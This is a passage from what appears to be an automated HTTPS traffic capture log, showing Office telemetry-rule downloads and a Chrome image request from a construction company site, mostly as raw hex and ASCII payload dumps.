2024-10-07 12:10:30 UTC	8000	IN	Data Raw: d1 7f 31 3d 03 f0 53 f3 a0 98 9a 04 d0 a1 fe 0a f8 71 93 01 a5 08 bd fa 66 d2 dc d1 ab 67 47 fa 3c d3 1e 7f 78 92 9b d3 86 2f 46 24 0c ff ee a3 61 cb 61 b2 fe 1b 8c b6 7d 65 c7 91 81 cc 96 f5 0d 54 03 13 32 2b 00 da e4 1f 10 56 9b e6 7a 3a cc e5 e8 fa 47 1e be 8f 49 27 7a 1c 4b 8a ec ee 72 f5 2e 49 fe 80 a7 47 2e c6 0f e3 07 f1 72 eb 53 12 eb 12 29 38 76 18 bd f3 de 49 c9 f2 91 80 8b 2a 22 af f8 61 fc 20 29 7f c4 f4 d7 7c ff dd 55 3b eb c5 19 53 c8 d8 ce d3 23 17 e3 87 f1 83 a4 fc ff 9b cb bf 7d e1 2b 62 b4 bd 5c 57 b1 e5 dd e0 07 1f 02 a9 57 8f 7a 7d 0a d3 c2 bd ae 84 c7 e1 be fe ee 3b 8f a2 77 44 8f c3 fb f8 19 a0 2f 04 8d 04 b6 bb df 71 ef 81 72 b7 fb 83 9c c2 cf e8 1d d1 e3 fa eb c9 f2 93 f2 4f ea 5f 30 1e ee 3e 42 92 e3 ef 5e 5f d4 77 93 57 38 b3 34 Data Ascii: 1=SqfgG<x/F$aa}eT2+Vz:GI'zKr.IG.rS)8vI*"a )\|U;S#}+b\WWz};wD/qrO_0>B^_wW84
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: dd 41 fb e4 eb 1f 6c 0b 11 19 e5 c0 bf 06 5f 5f f2 e5 93 37 30 0b e6 c7 44 fc 0e 65 db d0 dc ae 8e 07 5c 62 d1 fd 39 51 24 3f 98 3b df 4d 39 af df 0c 16 bf 72 fc 3c 69 42 11 e6 a6 85 80 6c 3d 2d 17 67 f1 5a 88 e9 07 bd 16 77 aa 09 6e 8a 6c 25 8c b6 7f fc 0d c1 10 f6 1e 75 96 43 00 b4 11 e9 14 b3 cf 02 98 45 f7 15 0d b4 69 e3 07 02 b4 c1 68 f3 a7 78 96 e7 e4 77 87 a2 ec 1c 8b af 3d 07 4f db 7b 1f cc b5 d5 f8 61 0a cc 68 58 7e c3 c4 ea dd a3 33 fe 6a 30 e3 22 80 c3 e8 61 79 1e 3d 52 02 10 1e a0 c5 db ef 3e 04 68 7b 7b ae 2f 9c e5 0b ca 58 78 8b bc 54 84 bf a0 09 32 65 82 91 32 d0 81 36 18 19 98 3d 39 0b 0a d3 a3 cf be 9c ef 66 aa 92 b7 2a d3 88 05 7f 3e ec a7 e9 38 f0 1f 89 6c 0a 58 a8 35 83 81 e7 8b 4c ca 12 18 a0 ff 41 07 92 e0 1b 6c 25 09 5e 18 01 20 8b Data Ascii: Al__70De\b9Q$?;M9r<iBl=-gZwnl%uCEihxw=O{ahX~3j0"ay=R>h{{/XxT2e26=9f*>8lX5LAl%^
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: af 5c d8 1a 7c ff 49 bb 82 6b ae 57 7e 53 ec 5e 5d a1 fd 3a 93 f9 58 35 ac 16 99 ea ad 87 7d b9 62 dd 76 3b 88 89 ad 33 82 58 e0 06 8f 05 80 83 80 5c 6d fa d4 a1 33 0a 19 74 5a a4 a6 48 41 b4 39 e2 46 ce b1 fc 03 53 b9 9b 0e 7c e6 64 75 c5 3f 52 9e 3d 0a a3 ac 3f 91 73 03 39 01 87 70 6f 05 a6 8b c7 71 82 3f 7f b1 fc 4c 7d 09 d0 46 1f cb a1 3d 20 5d 5d cd 0d 7b 68 da 58 7b 78 da 18 a2 96 f6 b2 ec de 5d 7c d1 e1 2a a3 a2 a4 2f 54 48 c3 00 12 26 40 f8 6e 16 db f3 6c 3b 7d ae e8 9c 6a bf 1e 68 5c 47 9e b7 af d9 cf 9e 9d 61 ff f7 af 9e 87 61 da dc 81 36 b5 47 b2 d2 28 0c 8e 3d 21 f1 43 c2 e2 a2 ca 94 cf 2e dd e7 78 22 fb 00 c0 0c e6 00 9a e2 72 d5 ed aa 8f e7 c7 87 e6 26 f9 e1 ab 02 58 29 03 10 fa 1d 40 e0 32 f4 49 8e e7 9d 19 28 10 01 b3 38 f9 58 13 08 3e 13 Data Ascii: \\|IkW~S^]:X5}bv;3X\m3tZHA9FS\|du?R=?s9poq?L}F= ]]{hX{x]\|*/TH&@nl;}jh\Gaa6G(=!C.x"r&X)@2I(8X>
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: fe 86 31 41 9b c1 84 e9 72 7e d5 ff c0 bb 17 84 33 a6 4e 08 83 58 16 a6 e9 8c 26 48 32 b2 c8 d8 f6 95 7f bd 2b fc bf 5f fe 1e 9e 6a ca 53 5b 55 1f c1 03 ad 1f 7b b4 e1 d1 c6 86 e2 57 cc 9b 65 86 36 c9 5d 7f 9a 40 ad df bc 83 49 27 7b 2b 3d b5 d8 4e 7e 5b cf 12 30 2d dd a2 c2 3c 1c 65 8f 1c 1e 46 e3 8d 35 7e 2c c6 30 fe b4 2c d4 97 b6 69 12 b5 63 d7 de b0 67 a7 fe 76 e0 0d 34 38 7c 0c e3 d7 35 97 5f 1c d8 9a 8c e7 d8 14 ee c3 d0 f5 18 cb 69 9f 63 0f b3 ad db e4 e5 a0 5a 23 31 b2 3f 65 e2 84 30 6d c6 a9 4c 86 fb e2 a5 24 43 24 15 e2 da 8a 77 a3 26 a3 3b 77 ee c2 cb 70 9f 19 96 0e 33 1b 37 32 93 62 19 15 66 cd 62 e9 28 7b fe 2c b8 98 a5 a3 a3 65 68 c3 f8 a2 46 ae f2 58 8e 47 d6 4b 4b e4 d1 b6 d0 3c 34 cc 9b 0e 99 f4 f5 53 47 d9 8f 49 86 b6 91 4c 42 47 60 a7 Data Ascii: 1Ar~3NX&H2+_jS[U{We6]@I'{+=N~[0-<eF5~,0,icgv48\|5_icZ#1?e0mL$C$w&;wp372bfb({,ehFXGKK<4SGILBG`
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: 6c 86 bd 85 89 cf 32 ab e3 7e 0c 30 b6 7f 95 0a b7 f2 f1 d0 c0 85 64 fa 54 26 58 53 27 33 d9 1e 17 a6 69 e3 fb 09 6c 2e 4f fd b5 97 9d 72 97 e9 72 3f 9e 32 3b f0 f2 7a 03 63 d3 eb 18 17 97 2e 5b c9 e4 6d 39 9e 72 5a 4e a9 ec c8 10 fe 39 b3 d9 28 9d 13 4e 65 64 93 d1 ee 24 32 d1 92 ba a5 c8 e9 d5 d7 d7 72 aa dd 73 18 48 d6 f2 5c 7d 28 73 12 27 fa 5d 83 37 d1 e9 c8 e7 e4 b8 79 b9 32 b1 dc 58 8a 8c c1 70 e5 9a f5 4c f8 5e c1 68 f4 22 c6 2f b5 10 35 a2 7d e5 2d f6 be f7 dc 1c ae bf e6 4a bc d9 d8 b4 9c 06 d6 24 54 6d 6c 59 a8 3e 11 20 cc af 12 6f f5 ae f4 2b 4e 62 c9 04 16 99 de 34 15 95 e1 6a 0f 06 b7 55 78 ce ac 5b bf 1d 6f be 5d 2c f5 dc 8c d7 c6 72 3c 45 b6 a1 1f ca 9b 51 48 89 95 94 49 ee c8 61 c3 30 1c b0 27 20 87 44 cc 9a 79 3a de 34 4c 4a d9 7c 7c 0c Data Ascii: l2~0dT&XS'3il.Orr?2;zc.[m9rZN9(Ned$2rsH\}(s']7y2XpL^h"/5}-J$TmlY> o+Nb4jUx[o],r<EQHIa0' Dy:4LJ\|\|

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49872	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:30 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: c530354f-501e-0016-5013-17181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121030Z-1657d5bbd48qjg85buwfdynm5w00000003hg00000000azc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49877	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:30 UTC	688	OUT	GET /2016/wp-content/uploads/2021/03/typical-chassis-structure-focusing-on-frame-rails.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
2024-10-07 12:10:30 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:30 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 03 Mar 2021 20:51:27 GMT Accept-Ranges: bytes Content-Length: 1724038 Content-Type: image/png
2024-10-07 12:10:30 UTC	7957	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 f6 00 00 03 80 08 06 00 00 00 72 cc b0 0c 00 00 0c 6c 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 52 49 68 01 04 a4 84 de 04 e9 04 90 12 42 0b 20 bd 08 36 42 12 48 28 31 26 04 15 3b ba a8 e0 da 45 14 2b ba 2a a2 d8 56 40 ec d8 95 45 b1 f7 c5 82 8a b2 2e ea 62 43 e5 4d 48 40 d7 7d e5 7b e7 fb e6 de 3f 67 ce fc a7 dc 99 dc 7b 00 d0 fa c0 93 4a f3 51 6d 00 0a 24 85 b2 c4 88 10 e6 a8 f4 0c 26 a9 03 20 40 03 90 80 0b 20 f3 f8 72 29 3b 3e 3e 06 40 19 b8 ff 5d de dd 80 d6 50 ae 3a 2b b9 fe 39 ff 5f 45 57 20 94 f3 01 40 c6 40 9c 25 90 f3 0b 20 3e 0e 00 be 96 2f 95 15 02 40 54 ea ad 26 15 4a 95 78 16 c4 7a 32 18 20 c4 2b 94 38 47 85 b7 2b 71 96 0a 1f ee b7 49 4e e4 40 Data Ascii: PNGIHDRrliCCPICC ProfileHWXS[RIhB 6BH(1&;E+*V@E.bCMH@}{?g{JQm$& @ r);>>@]P:+9_EW @@% >/@T&Jxz2 +8G+qIN@
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 31 04 64 e2 21 ef d4 54 83 78 2b b5 33 48 22 66 c5 10 90 89 87 bc 53 53 0d e2 ad d4 ce 20 89 98 15 43 40 26 1e f2 4e 4d 35 88 b7 52 3b 83 24 62 56 0c 01 99 78 c8 3b 35 d5 20 de 4a ed 0c 92 88 59 31 04 64 e2 21 ef d4 54 83 78 2b b5 33 48 22 66 c5 10 90 89 87 bc 53 53 0d e2 ad d4 ce 20 89 98 15 43 40 26 1e f2 4e 4d 35 88 b7 52 3b 83 24 62 56 0c 01 99 78 c8 3b 35 d5 20 de 4a ed 0c 92 88 59 31 04 64 e2 21 ef d4 54 83 78 2b b5 33 48 22 66 c5 10 90 89 87 bc 53 53 0d e2 ad d4 ce 20 89 98 15 43 40 26 1e f2 4e 4d 35 88 b7 52 3b 83 24 62 56 0c 01 99 78 c8 3b 35 d5 20 de 4a ed 0c 92 88 59 71 fc 6e e6 7f fd f9 33 ff eb ba f9 13 7c 9f 66 8d da 3f ec f7 6d bc 95 93 c9 5c 08 40 cc e9 2e 14 96 6f e3 ad 9c 4c e6 42 00 e2 35 6b 12 61 f9 36 de ca c9 64 2e 04 20 e6 74 17 0a Data Ascii: 1d!Tx+3H"fSS C@&NM5R;$bVx;5 JY1d!Tx+3H"fSS C@&NM5R;$bVx;5 JY1d!Tx+3H"fSS C@&NM5R;$bVx;5 JYqn3\|f?m\@.oLB5ka6d. t
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 bb 88 f6 96 4a 59 66 d0 ec bf 83 bc 8b 68 6f a9 94 65 06 cd fe 3b c8 Data Ascii: ;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;JYfhoe;
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 47 8c 69 7a fe ae 7f af bf b5 7b 7b ff 75 ff 99 9d 78 7d 46 bb e4 9c e8 fe 3b 2a d2 e7 df 2c 42 ac 8d 8f e7 c7 09 bb c7 7d a8 7d fe f6 f9 db e7 ef d8 23 7f c6 ff f5 f9 a3 0e d3 e7 4f 9f bf 63 31 ac f5 b0 8e 8e f7 f9 e1 47 d1 db 01 4b f4 11 fd f5 5f 7f fd db df 7f e8 ef bf cc 2e d3 e7 6f df 3f fa fe d5 f7 af 7d 3f 18 d7 85 fe fe 47 df bf fa fe b9 8e c6 fe fe 57 7f ff 6f 2c 04 9d 0e bb 49 d6 f0 f1 15 d6 1e f7 a1 f6 f7 ff fa fb 7f fd fd bf b1 47 fa eb 8f fe fa a3 bf fe d0 09 d3 f7 ef fe fa 63 2c 86 be 7f af a3 a1 ef df 7d ff de f7 e8 11 3e 3e 1f 37 ec e1 9e bb e8 56 ff 99 bf b1 af d0 4a 04 3e a6 4a 1a e7 7c d1 bc c7 11 e5 c0 20 a2 82 22 2b 11 a8 e6 47 86 93 79 89 b2 62 10 51 41 91 95 08 54 f3 23 c3 c9 bc 44 59 31 88 a8 a0 c8 4a 04 aa f9 91 e1 64 5e a2 ac 18 Data Ascii: Giz{{ux}F;*,B}}#Oc1GK_.o?}?GWo,IGc,}>>7VJ>J\| "+GybQAT#DY1Jd^
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: b3 30 f5 fd 67 ad b9 33 3b d6 b5 07 fd c0 7b 60 f2 96 6e 17 67 c2 04 d9 db b4 1c 8e 20 13 51 e6 30 1f 98 7a 7c 8b 80 c7 45 82 93 30 41 c7 df c2 d4 eb bf ae b9 99 1d 63 7d 15 71 e0 3d 30 79 13 b7 8b 33 61 82 ce bf ce bf 5e 7f 96 03 73 45 54 5c 96 de 5c 54 d5 ac 8d d5 e3 76 71 26 4c 90 e3 4e cb ab 6b fc 1b 3b de fb 36 f9 bf f2 a9 ff 74 fb 99 4f fe 27 f6 ad 62 8f 6d 37 d7 8f 7a 14 ae f0 6d 7c b7 cf 6d ef 7d cf d3 db 47 3f fc ef 6e df ff b6 3f 69 3f c5 7b 65 df da 77 63 c7 6d df 0e 63 df b8 c4 e3 a6 44 43 c5 de 51 d9 1d 78 0f 4c de c4 ed e2 4c 98 20 c7 9a 96 1e 5f 63 51 42 3f 83 5a cd 67 0d dc 2e ce 84 09 3a fe 16 c9 be ff a9 6b 6e 66 47 4d b3 d0 0e bc 07 26 e7 ba 5d 9c 09 13 74 fe 75 fe f5 fa b3 1c 98 2b a2 e2 58 73 ba 57 e6 b0 1f 98 dc e3 76 71 26 4c 90 e3 Data Ascii: 0g3;{`ng Q0z\|E0Ac}q=0y3a^sET\\Tvq&LNk;6tO'bm7zm\|m}G?n?i?{ewcmcDCQxLL _cQB?Zg.:knfGM&]tu+XsWvq&L
2024-10-07 12:10:30 UTC	8000	IN	Data Raw: 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f 34 32 39 2e 65 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f 34 32 39 2e 65 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f 34 32 39 2e 65 52 49 48 43 05 c5 9d 4a 82 4a 3e d0 c8 e4 b8 94 49 25 21 0d 15 14 77 2a 09 2a f9 40 23 93 e3 52 26 95 84 34 54 50 dc a9 24 a8 e4 03 8d 4c 8e 4b 99 54 12 d2 50 41 71 a7 92 a0 92 0f Data Ascii: RIHCJJ>I%!w@#R&4TP$LKTPAq429.eRIHCJJ>I%!w@#R&4TP$LKTPAq429.eRIHCJJ>I%!w@#R&4TP$LKTPAq429.eRIHCJJ>I%!w@#R&4TP$LKTPAq
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: b7 eb 6f d7 df 7d b5 60 1d 61 d5 a0 84 9d 98 92 dc bd 54 86 62 32 bb fe 74 fd e9 fa d3 f5 27 ea c1 71 85 e8 fb bf be ff 9b d7 1c 64 0a f3 84 92 57 93 bd 54 86 62 32 fb fa d3 d7 9f be fe f4 f5 27 ea c1 71 85 e8 eb cf d7 f3 fa 73 cf 4e cd 03 fb e7 df d8 f7 09 fb c6 be eb c7 ed c1 be c7 ed 22 30 be b1 6f 7b 7e 7b ef bb f0 53 bc 3f 6e 3f c5 fb 96 f9 53 bc 7e 4a f5 8c 2a 8e f3 8d 2b 49 d7 bf ae 7f 5d ff 62 3d 1c af 90 ae 7f 5f cf fa c7 73 42 89 33 45 4c c9 6a b6 97 ca 50 4c 66 d7 bf ae ff 5d ff bb fe 47 3d 38 ae 10 af be fa 2f df d8 37 0e c9 85 1e 9e da 71 f0 ea 63 71 7c e9 32 5b 1b 28 bf e7 cd 7e 9d 90 ac 39 5e 9a 12 bc f4 41 85 99 ad 0d f4 f8 91 b0 11 9e 11 19 17 19 a5 af 7a fc 79 6a 6e c6 f9 bf b2 a1 af b0 f3 67 6c b1 1f 38 4d 09 d8 f4 65 c9 6c 6d e0 95 74 Data Ascii: o}`aTb2t'qdWTb2'qsN"0o{~{S?n?S~J*+I]b=_sB3ELjPLf]G=8/7qcq\|2[(~9^Azyjngl8Melmt
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: e7 ec 0c 27 c6 f5 07 33 41 fc a3 31 3a 35 27 6c b6 b7 58 ce eb 4f 8c ef 34 c4 14 71 f6 49 c4 ba 05 df 7d d6 1a cc a8 95 c3 87 fe ca 36 98 9e 9c 63 7c 72 ac ef 60 db 1e 2e 4b 56 d4 a1 cd 3e 50 47 e2 c6 31 60 7c b3 21 fe 66 c1 3c b1 79 1a b9 1d 7e ce 17 63 61 20 e4 21 58 b6 19 07 34 34 43 0f 78 60 f8 2b cf bd b0 fd b3 7f fe 7b db 1f 7c f9 2b 61 37 2e c6 1d ab c1 1b e1 67 e9 7d 7c 9b a3 9f 2b 3c 2c 73 6b 57 15 cc 03 e7 d2 fd db f6 6d df fa c6 ed 2d 7f fc db ff 7f f6 de f3 6d af eb 38 ef 1d 34 a2 f7 de 01 12 04 c0 4e b1 48 a2 48 4a 2c 12 d5 1b 25 59 56 b5 6c ab d2 ce 91 73 72 3e 24 39 7f c0 b9 ae 5c b1 1d e7 9c 0f 89 1d db 71 95 1c 3b b2 3a 25 aa b0 f7 02 90 20 48 80 20 7a ef bd b7 73 ff ee 59 6b 3f fb 79 5e bc a6 9c 58 56 f1 bb 81 77 af 32 b3 66 66 cd 9a 55 Data Ascii: '3A1:5'lXO4qI}6c\|r`.KV>PG1`\|!f<y~ca !X44Cx`+{\|+a7.g}\|+<,skWm-m84NHHJ,%YVlsr>$9\q;:% H zsYk?y^XVw2ffU
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: 54 10 f8 a7 f3 29 f3 71 b2 c8 31 a4 24 84 03 3b fd 6f 38 95 26 42 65 aa 8b f4 85 2e 0a 97 d4 67 49 14 b9 93 1e b4 91 27 71 f7 1c 3c 16 5b f4 a3 a9 af 7c ed 07 f1 e7 7f f3 2d 8d 25 c3 b5 49 77 91 9e 8d 64 39 3e 95 1d 83 c0 65 36 57 0f 59 14 2e 3a c5 5f cf 4f 43 f4 99 f9 61 3a 21 7d 84 1e b2 46 5c 34 28 66 ea d4 be 3b 74 ea dd eb af 59 aa 1f 9f cc d6 09 d3 63 dc 1f 91 b5 b0 75 7b 79 5d 26 32 34 4f b6 7f 4a ee 93 fc 54 9b c1 5a f7 5a 4a f7 75 da dd 2c 45 c3 ad 0c 35 fd cb 36 52 42 ba 51 dc 7f a4 d4 b6 c2 07 f7 8c 22 27 b5 ae de 73 f0 54 3c a7 cf ef fe f1 9f 7d 25 9e 5b fe 92 d6 bc e5 54 4c d1 9f 33 73 62 2c 5d 30 53 8e f8 b7 c5 fb e5 d8 07 2b e4 62 2a df a7 1f c7 2c 5f bd 3d 1e d0 7a e0 3b f7 de 1f 3b 76 e8 73 c5 7a bf c2 b9 ae 83 ce 9e 8a cf 7e 86 13 fb ee Data Ascii: T)q1$;o8&Be.gI'q<[\|-%Iwd9>e6WY.:_OCa:!}F\4(f;tYcu{y]&24OJTZZJu,E56RBQ"'sT<}%[TL3sb,]0S+b*,_=z;;vsz~
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: 9e f3 af 42 bf 78 cb f9 c5 8a 2f ed e0 b5 b0 da 34 d7 df 75 d6 68 91 05 b9 8b 4f 2b d1 8a 9a 66 2f 6a 2d 58 f1 6a 58 91 9b 30 01 15 5c c3 1e 70 49 b6 a0 ad 68 c5 ed ce 2a a9 9a 59 c3 8a dc 84 09 a8 e0 1a f6 80 4b b2 05 6d 45 2b 6e 77 56 49 d5 cc 1a 56 e4 26 4c 40 05 d7 b0 0d 76 97 f7 3c 2e a8 13 82 16 44 d6 01 80 bc 5a 23 6c a5 79 ff c1 8f 0e b0 8c fc 6f 44 90 5b 97 e0 2d fb 63 0c 49 f3 e0 4e 39 85 fd f4 ff 8e fd 61 5b f5 99 b2 92 ee d8 9f f1 60 5d ec ae 62 10 fe 43 fd 7f 80 ff 4f a6 ff ea 8c 87 c6 3b 2a ee d6 bf 21 1d 60 67 dd e8 b6 d5 ea 51 30 de 17 b3 2e 1b cc 78 01 2d 82 9e f6 67 4c f1 75 81 f6 ec ce 2a a9 9a 59 c3 2c dd ba 27 a0 82 6b d8 20 74 65 b4 12 ad 68 c5 ed ce 2a a9 9a 59 c3 8a dc 84 09 a8 e0 1a f6 80 4b b2 05 6d 45 2b 2e 59 ac 93 d9 c3 fa bd Data Ascii: Bx/4uhO+f/j-XjX0\pIhYKmE+nwVIV&L@v<.DZ#lyoD[-cIN9a[`]bCO;!`gQ0.x-gLuY,'k tehYKmE+.Y

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49873	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:30 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 7cec3a6f-e01e-0033-3414-174695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121030Z-1657d5bbd48dfrdj7px744zp8s000000032g00000000m299 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49871	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:30 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:30 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 40323690-a01e-0002-0100-175074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121030Z-1657d5bbd48tqvfc1ysmtbdrg000000003a000000000b4y6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
